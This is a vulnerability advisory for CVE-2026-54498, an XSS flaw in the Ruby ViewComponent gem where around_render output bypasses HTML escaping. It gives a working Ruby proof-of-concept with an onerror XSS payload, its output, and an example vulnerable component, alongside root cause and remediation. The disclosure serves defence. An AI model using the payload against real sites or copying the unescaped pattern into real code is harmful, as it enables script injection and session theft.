PT-2026-60389 · Rubygems · View

CVE-2026-54498

·

Published

2026-07-15

·

Updated

2026-07-15

CVSS v3.1

8.7

High

VectorAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

ViewComponent::Base#around render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.
The issue is especially dangerous in collection rendering because ViewComponent::Collection#render in joins the per-item results and marks the entire output as html safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.

Affected Code

Validated against:
  • Repository commit: eea79445
  • Ruby: 3.4.9
Relevant locations:
  • lib/view component/base.rb
  • render in
  • around render
  • vc maybe escape html
  • lib/view component/template.rb
  • InlineCall#safe method name call
  • lib/view component/collection.rb
  • Collection#render in
Key code paths:
ruby
# lib/view component/base.rb
around render do
 render template for(@ vc requested details).to s
end
ruby
# lib/view component/template.rb
proc do
  vc maybe escape html(send(m)) do
  Kernel.warn(...)
 end
end
ruby
# lib/view component/collection.rb
components.map do |component|
 component.render in(view context, &block)
end.join(rendered spacer(view context)).html safe

Root Cause

Normal inline #call output is passed through vc maybe escape html, which escapes HTML-unsafe strings. However, when around render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.
This creates two different output-safety behaviors:
  • #call returning unsafe string: escaped
  • #around render returning unsafe string: raw
Collection rendering then amplifies the issue by calling .html safe on the joined result.

Proof of Concept

Run from the repository root:
ruby
$LOAD PATH.unshift File.expand path("lib", Dir.pwd)
require "action controller/railtie"
require "rack/mock"
require "view component/base"

class PocController < ActionController::Base; end

def vc
 c = PocController.new
 c.set request!(ActionDispatch::Request.new(Rack::MockRequest.env for("/poc")))
 c.set response!(ActionDispatch::Response.new)
 c.view context
end

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeCallComponent < ViewComponent::Base
 def initialize(payload:) = @payload = payload
 def call = @payload
end

class UnsafeAroundComponent < ViewComponent::Base
 def initialize(payload:) = @payload = payload
 def call = "SAFE"
 def around render = @payload
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
 with collection parameter :payload
 def initialize(payload:) = @payload = payload
 def call = "SAFE"
 def around render = @payload
end

view context = vc

normal = UnsafeCallComponent.new(payload: PAYLOAD).render in(view context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render in(view context)
collection = UnsafeAroundCollectionComponent.with collection([PAYLOAD]).render in(view context)

puts "normal call=#{normal}"
puts "normal call raw=#{normal.include?(PAYLOAD)} html safe=#{normal.html safe?}"
puts "around render=#{around}"
puts "around render raw=#{around.include?(PAYLOAD)} html safe=#{around.html safe?}"
puts "collection=#{collection}"
puts "collection raw=#{collection.include?(PAYLOAD)} html safe=#{collection.html safe?}"

c = PocController.new
c.set request!(ActionDispatch::Request.new(Rack::MockRequest.env for("/poc")))
c.set response!(ActionDispatch::Response.new)
out = c.render to string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller render to string=#{out}"
puts "controller raw=#{out.include?(PAYLOAD)} html safe=#{out.html safe?}"
Observed output:
text
normal call=&lt;img src=x onerror=alert(1)&gt;
normal call raw=false html safe=true
around render=<img src=x onerror=alert(1)>
around render raw=true html safe=false
collection=<img src=x onerror=alert(1)>
collection raw=true html safe=true
controller render to string=<img src=x onerror=alert(1)>
controller raw=true html safe=false
The control case confirms that normal #call output is escaped. The around render cases confirm that the same payload is emitted raw.

Exploit Scenario

A downstream application defines a component that uses around render for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.
Example vulnerable pattern:
ruby
class BannerComponent < ViewComponent::Base
 def initialize(message:)
  @message = message
 end

 def call
  "fallback"
 end

 def around render
  "<div class="banner">#{@message}</div>"
 end
end
If message is user-controlled, scriptable HTML reaches the browser.

Impact

Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:
  • session or token theft where cookies/tokens are accessible
  • authenticated actions as the victim
  • CSRF bypass through same-origin script execution
  • exfiltration of page data
  • credential phishing or UI redress inside trusted application origin
The collection path is particularly risky because it converts the joined raw output to html safe, which can suppress later escaping.

Preconditions

  • The application defines or uses a component overriding around render.
  • around render returns or wraps attacker-influenced HTML-unsafe content.
  • The component is rendered in a browser-visible response.
  • Higher impact when rendered through ViewComponent::Collection or controller/direct rendering.

Chaining Potential

This finding can chain with:
  • preview routes or examples that accept URL parameters and render components
  • unsafe markdown or CMS content rendered inside around render
  • CSP-disabled preview routes
  • applications that expose admin-only pages containing affected components

Remediation

Apply the same HTML-safety enforcement to around render return values that is applied to normal inline #call output.
Possible approaches:
  1. Wrap the result of around render with vc maybe escape html when the current template is HTML.
  2. Require around render to return an ActiveSupport::SafeBuffer to opt into raw HTML.
  3. In collection rendering, avoid blindly calling .html safe on joined component outputs unless each item has been normalized through the same safety boundary.

Exploit

Fix

XSS

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-54498
GHSA-97JW-64CJ-JC58

Affected Products

View